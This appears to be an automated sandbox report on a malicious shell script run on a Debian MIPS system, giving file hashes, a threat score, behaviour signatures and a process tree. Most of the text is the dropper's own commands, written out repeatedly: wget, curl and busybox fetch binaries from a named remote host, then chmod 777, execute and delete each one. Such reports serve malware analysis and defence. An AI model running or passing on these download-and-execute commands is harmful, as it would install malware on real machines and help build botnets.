63e7825e9eca1552b2abed87e0a083c224c9c3e93a3a7fba4ed9ae1ebab820f0

Analysis

max time kernel
143s
max time network
145s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
15/11/2024, 02:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
63e7825e9eca1552b2abed87e0a083c224c9c3e93a3a7fba4ed9ae1ebab820f0.sh
Size 10KB
Sample241115-c24djs1lap
SHA256 63e7825e9eca1552b2abed87e0a083c224c9c3e93a3a7fba4ed9ae1ebab820f0
MD5 d8350f47e7917d8ae416a1ab5a6c21e4
SHA1 612204a3515ff72408543b3e354e2938a9dc31d1
SHA512 2bc6401c9a9a74a7b95310d2736bd5e2c14c58c31367dd3c5259de5dc38c83a9234035acf8b1b816bd3d57ef229babf247f39e1fe18cf6ab8c1a1a1eb10b5008
SSDEEP 192:211aXjkYLnIJ5uwP47DvU5ZpS98hBfmfKfvf4fof32HfmfKfvf4fof0LnIJ5Z119:211aXjkSwQ7DvU5ZpSmhF6OnYIm/6OnT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
845	chmod
852	chmod
859	chmod
880	chmod
936	chmod
838	chmod
985	chmod
894	chmod
908	chmod
922	chmod
971	chmod
887	chmod
950	chmod
978	chmod
999	chmod
915	chmod
957	chmod
866	chmod
943	chmod
992	chmod
873	chmod
1006	chmod
1013	chmod
746	chmod
798	chmod
901	chmod
929	chmod
964	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
940	curl
960	wget
968	curl
993	goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
996	curl
844	busybox
849	curl
891	curl
745	busybox
956	busybox
858	busybox
975	curl
900	busybox
939	wget
982	curl
998	busybox
855	wget
876	wget
895	goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
865	busybox
883	wget
904	wget
947	curl
977	busybox
804	curl
848	wget
862	wget
988	wget
991	busybox
907	busybox
918	wget
925	wget
974	wget
1002	wget
837	busybox
851	busybox
856	curl
1012	busybox
954	curl
984	busybox
1003	curl
841	wget
898	curl
926	curl
928	busybox
961	curl
870	curl
905	curl
919	curl
877	curl
893	busybox
921	busybox
1005	busybox
717	wget
863	curl
872	busybox
801	wget
890	wget
995	wget
1010	curl
795	curl
869	wget
953	wget
963	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp	curl
File opened for modification	/tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv	curl
File opened for modification	/tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h	curl
File opened for modification	/tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp	curl
File opened for modification	/tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2	curl
File opened for modification	/tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe	curl
File opened for modification	/tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2	curl
File opened for modification	/tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w	curl
File opened for modification	/tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6	curl
File opened for modification	/tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z	curl
File opened for modification	/tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm	curl
File opened for modification	/tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id	curl
File opened for modification	/tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h	curl
File opened for modification	/tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0	curl
File opened for modification	/tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6	curl
File opened for modification	/tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z	curl
File opened for modification	/tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id	curl
File opened for modification	/tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9	curl
File opened for modification	/tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3	curl
File opened for modification	/tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm	curl
File opened for modification	/tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg	curl
File opened for modification	/tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9	curl
File opened for modification	/tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0	curl
File opened for modification	/tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg	curl
File opened for modification	/tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv	curl
File opened for modification	/tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3	curl
File opened for modification	/tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe	curl
File opened for modification	/tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w	curl

/tmp/63e7825e9eca1552b2abed87e0a083c224c9c3e93a3a7fba4ed9ae1ebab820f0.sh
/tmp/63e7825e9eca1552b2abed87e0a083c224c9c3e93a3a7fba4ed9ae1ebab820f0.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  ./2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm 2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  PID:797
- /bin/chmod
  chmod 777 TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  ./TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  PID:800
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - System Network Configuration Discovery
  PID:837
- /bin/chmod
  chmod 777 zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  ./zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  PID:840
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - System Network Configuration Discovery
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - System Network Configuration Discovery
  PID:844
- /bin/chmod
  chmod 777 f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  ./f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - System Network Configuration Discovery
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod 777 xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  ./xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/chmod
  chmod 777 9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  ./9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm 9NozAb6qLX2QYbXl9bvaxLOKmsarG0tm7h
  2⤵
  PID:861
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - System Network Configuration Discovery
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/chmod
  chmod 777 n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  ./n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm n9t10kNT5zqKUch87uPTuruLzFDdN68pi6
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - System Network Configuration Discovery
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  ./gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm gGRLrtCk9alMAu4sHwdsemlKGCBd2Zzqnp
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  PID:879
- /bin/chmod
  chmod 777 GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  ./GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm GMNCkJOUgO8lQfb8GlSX0jW1buUtxs4gsg
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  PID:886
- /bin/chmod
  chmod 777 FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  ./FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm FTC9ggUebisbSCbFXzXkaDsiLGxRguJACv
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - System Network Configuration Discovery
  PID:893
- /bin/chmod
  chmod 777 goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  ./goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:895
- /bin/rm
  rm goap6sfO6ohn3vD8BQc6RykzJ1AR6X2IP2
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  ./CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  PID:903
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - System Network Configuration Discovery
  PID:904
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/chmod
  chmod 777 VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  ./VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  PID:910
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:914
- /bin/chmod
  chmod 777 82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  ./82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm 82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:917
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - System Network Configuration Discovery
  PID:918
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/chmod
  chmod 777 CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  ./CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm CN94rbmIi14uywjCMptfXfxKsgTF7mn0id
  2⤵
  PID:924
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - System Network Configuration Discovery
  PID:925
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - System Network Configuration Discovery
  PID:928
- /bin/chmod
  chmod 777 VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  ./VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm VptdVTtl9AxwL6BWU76EpYRpkPRqQa8tw9
  2⤵
  PID:931
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:935
- /bin/chmod
  chmod 777 82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  ./82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm 82gB4WF6T0mwHTpWIkpgXMvgzmErgm8Dq0
  2⤵
  PID:938
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - System Network Configuration Discovery
  PID:939
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  PID:942
- /bin/chmod
  chmod 777 f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  ./f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm f2VuBYe37POENPxFHHYkHYhKCHFJDUqa7Z
  2⤵
  PID:945
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  PID:949
- /bin/chmod
  chmod 777 2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  ./2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm 2iW2lhCfINN8uGqrHf46OfEE2BxKIG0FD3
  2⤵
  PID:952
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - System Network Configuration Discovery
  PID:956
- /bin/chmod
  chmod 777 TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  ./TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm TO0yPjU4fnILral424LuRxxhOtRlcihIwe
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - System Network Configuration Discovery
  PID:963
- /bin/chmod
  chmod 777 zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  ./zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm zYXytvGca7fYpZobQ6nH9KDH6NE4GrplQm
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  PID:970
- /bin/chmod
  chmod 777 xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  ./xFTsdteKF2Ez0mDLNiYcd4gKSwsrcUDg5w
  2⤵
  - Executes dropped EXE
  PID:972
